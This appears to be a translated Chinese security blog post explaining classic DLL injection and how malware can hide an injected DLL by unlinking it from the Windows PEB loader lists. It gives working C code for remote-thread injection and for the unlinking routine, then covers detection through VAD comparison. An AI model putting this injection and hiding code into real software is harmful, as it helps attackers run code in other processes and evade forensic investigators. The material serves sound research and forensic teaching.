隐藏在众目睽睽之下:从PEB中解除恶意DLL链接
背景
在这篇文章中,我们探讨了一种恶意软件可以利用的反取证技术来隐藏注入的DLL。我们深入研究了Windows进程环境块(PEB)的具体细节,以及如何滥用它来隐藏恶意加载的DLL。
免责声明:本文讨论的技术并不新颖,实际上可能已经有十多年的历史。但是,我找不到任何关于如何在实践中使用它的可行且详细的文章,所以这篇文章记录了我的探索过程!
DLL注入回顾(T1055.001)
DLL注入是许多恶意软件和威胁行为者常用的技术。有多种DLL注入技术,我们这里关注的是"经典"DLL注入,即恶意进程将存在于磁盘上的DLL注入到目标进程中。
DLL注入基础
以下是恶意进程执行"经典DLL注入"的典型步骤:
- 确保要注入的DLL存在于磁盘上
- 使用OpenProcess获取目标进程的句柄
1
2
3
|
int desiredAccess = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ;
int targetPid = find_process("target.exe");
HANDLE hTargetProcess = OpenProcess(desiredAccess, true, targetPid);
|
- 在目标进程的内存空间中分配读写内存区域,并写入要注入的DLL路径
1
2
3
|
#define DLL_TO_INJECT "C:\\Windows\\Temp\\malicious.dll"
LPVOID targetDataPage = VirtualAllocEx(hTargetProcess, NULL, strlen(DLL_TO_INJECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hTargetProcess, targetDataPage, DLL_TO_INJECT, strlen(DLL_TO_INJECT), NULL);
|
- 检索LoadLibraryA函数的地址
1
2
|
HMODULE hModule = GetModuleHandleA("kernel32.dll");
FARPROC load_library_addr = GetProcAddress(hModule, "LoadLibraryA");
|
- 使用CreateRemoteThread在目标进程中创建线程
1
2
3
4
5
6
7
8
9
10
|
DWORD threadId = 0;
HANDLE hThread = CreateRemoteThread(
hTargetProcess,
NULL, // 安全属性
0, // 堆栈大小
(LPTHREAD_START_ROUTINE) load_library_addr,
targetDataPage,
0, // 创建标志
&threadId
);
|
这将导致在目标进程中生成一个新线程,并基本上调用LoadLibraryA("C:\\Windows\\Temp\\malicious.dll"),触发恶意DLL的入口点。
DLL代码
要注入的DLL可以在Visual Studio等IDE中编译。当Windows通过我们的CreateRemoteThread调用将其加载到目标进程中时,它将自动使用DLL_PROCESS_ATTACH标志调用其DllMain函数。
1
2
3
4
5
6
7
8
|
BOOL APIENTRY DllMain(HMODULE hModule, DWORD event, LPVOID ignored) {
if (event == DLL_PROCESS_ATTACH) {
for (int i = 0; i < 300; ++i) {
Sleep(1000);
}
}
return true;
}
|
检测DLL注入
这种形式的DLL注入相当嘈杂且相对容易识别。如果我们将DLL注入到一个程序(比如MS Paint)中,并使用Process Explorer、Process Hacker或ListDLLs检查它,我们可以清楚地看到恶意DLL:
1
2
3
4
|
# 使用Sysinternals的ListDLLs
PS> Invoke-WebRequest https://live.sysinternals.com/Listdlls64.exe -OutFile listdlls.exe
PS> .\listdlls.exe -accepteula mspaint.exe | Select-String "malicious"
0x000000008c3f0000 0xb000 C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL
|
如果我们收集机器的内存转储,也可以使用Volatility最流行的模块之一dlllist轻松看到DLL:
1
2
3
4
5
6
7
8
9
10
11
|
$ vol.py -f ~/memory.dmp --profile=Win10x64_18362 dlllist -n mspaint.exe
Volatility Foundation Volatility Framework 2.6.1
************************************************************************
mspaint.exe pid: 9340
Command line : mspaint
Base Path
------------------ ----
0x00007ff6db540000 C:\Windows\system32\mspaint.exe
...
0x00007ff8d7f20000 C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL
|
常见警告
当使用volatility的dlllist命令时,你可能会遇到这个警告:
“dlllist模块将不再看到从LDR列表中取消链接的DLL”
“考虑到恶意软件可以取消链接、更改名称或替换系统库”
从PEB枚举DLL
大多数工具使用PEB,这是内核在每个进程创建时在其虚拟内存空间中填充的数据结构。PEB包含(除其他外)一个指向PEB_LDR_DATA结构的指针,该结构包含3个LDR_DATA_TABLE_ENTRY元素的双向链表:
- InLoadOrderModuleList
- InMemoryOrderModuleList
- InInitializationOrderModuleList
这3个列表中的每一个都包含相同的条目,但顺序不同。例如,InLoadOrderModuleList是一个双向链表,包含按加载顺序排列的DLL。
要迭代所有加载的DLL,我们需要从PEB检索我们想要使用的列表的指针,比如InMemoryOrderModuleList。然后,我们使用每个条目的Flink指针迭代条目。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
// 通过读取FS或GS寄存器返回指向PEB的指针
PEB* get_peb() {
#ifdef _WIN64
return (PEB*) __readgsqword(0x60);
#else
return (PEB*) __readfsdword(0x30);
#endif
}
// 打印当前进程中加载的DLL列表
void list_dlls(void) {
PEB* peb = get_peb();
LIST_ENTRY* current = &peb->Ldr->InMemoryOrderModuleList;
LIST_ENTRY* first = current;
while (current->Flink != first) {
// current->Flink指向我们想要到达的LDR_DATA_TABLE_ENTRY的'InMemoryOrderLinks'字段
// 我们使用CONTAINING_RECORD从这个指针减去适当的偏移量并到达结构的开头
LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(current->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
printf("%wZ loaded at %p", entry->FullDllName, entry->DllBase);
current = current->Flink;
}
}
|
InInitializationOrder和InLoadOrder列表
如上代码所示,我们使用了InMemoryOrderModuleList双向链表。我们可以使用另外两个吗?可以,但需要一些额外的工作。通过一些谷歌搜索和基本调试,我们可以重新定义LDR_DATA_TABLE_ENTRY结构,以便能够在代码中使用其他2个列表。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING ignored;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} MY_LDR_DATA_TABLE_ENTRY;
|
反取证技术:从PEB解除恶意DLL链接
现在我们正确理解了某些取证检查工具如何列出进程中的DLL,我们可以研究如何对它们隐藏。
想法很简单:
- 迭代包含加载DLL列表的PEB链表之一
- 当我们找到恶意DLL时,将其从这些列表中取消链接
执行取消链接的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
void unlink_peb(void) {
PEB* peb = get_peb();
LIST_ENTRY* current = &peb->Ldr->InMemoryOrderModuleList;
LIST_ENTRY* first = current;
while (current->Flink != first) {
MY_LDR_DATA_TABLE_ENTRY* entry = (MY_LDR_DATA_TABLE_ENTRY *) CONTAINING_RECORD(current, MY_LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
char dllName[256];
snprintf(dllName, sizeof(dllName), "%wZ", entry->FullDllName);
if (strstr(dllName, "MYMALICIOUSDLL.DLL") != NULL) {
// 找到DLL!从3个双向链表中取消链接
entry->InLoadOrderLinks.Blink->Flink = entry->InLoadOrderLinks.Flink;
entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;
entry->InMemoryOrderLinks.Blink->Flink = entry->InMemoryOrderLinks.Flink;
entry->InMemoryOrderLinks.Flink->Blink = entry->InMemoryOrderLinks.Blink;
entry->InInitializationOrderLinks.Blink->Flink = entry->InInitializationOrderLinks.Flink;
entry->InInitializationOrderLinks.Flink->Blink = entry->InInitializationOrderLinks.Blink;
return;
}
current = current->Flink;
}
}
|
现在如果我们使用ListDLLs搜索恶意DLL会发生什么?
1
2
|
PS> .\listdlls.exe -accepteula mspaint.exe | Select-String "malicious"
PS>
|
它找不到。如果我们获取机器的内存映像,Volatility的dlllist呢?
1
2
|
$ vol -f ~/memory.dmp --profile=Win10x64_18362 dlllist -n mspaint.exe | grep -i malicious
$
|
同样找不到。这是预期的——以下是Volatility文档关于dlllist的说法:
要显示进程加载的DLL,请使用dlllist命令。它遍历_LDR_DATA_TABLE_ENTRY结构的双向链表,该链表由PEB的InLoadOrderModuleList指向
我们正是从InLoadOrderModule列表中取消链接了DLL,这解释了为什么dlllist现在找不到它。
检测DLL取消链接
在分析内存转储时,我们感兴趣的有两件事:
- 查找进程加载的所有DLL,包括已被取消链接的DLL
- 了解我们找到的DLL是否已从PEB双向链表中取消链接。在取证调查中,这至关重要,因为它表明攻击者或恶意软件正试图在系统上隐藏
为此,我们可以使用VAD(虚拟地址描述符),这是一个低级内核数据结构,用于跟踪内存区域如何映射到特定进程和DLL。当恶意行为者从PEB(在用户空间中)取消链接DLL时,这不会影响VAD。因此,我们可以比较PEB中引用的DLL与VAD中的DLL,看看是否存在差异。
一些流行工具使用VAD并会捕获取消链接的DLL:
- Process Hacker
- Volatility的malfind
实际中的DLL取消链接
虽然DLL取消链接似乎经常被提及,但我只能在野外找到一个例子:Flame蠕虫。可能还有更多,我没有花太多时间寻找。
未来研究
如果对此感兴趣,可以尝试以下方向:
- 如果我们覆盖PEB中的DLL名称,能否使加载的DLL看起来是合法的?
- 如果我们从内存中取消映射DLL,能否隐藏它?
- 我们能否使用内存转储中DLL的开放句柄来识别我们有一个指向不存在DLL的句柄,并且可能已被隐藏?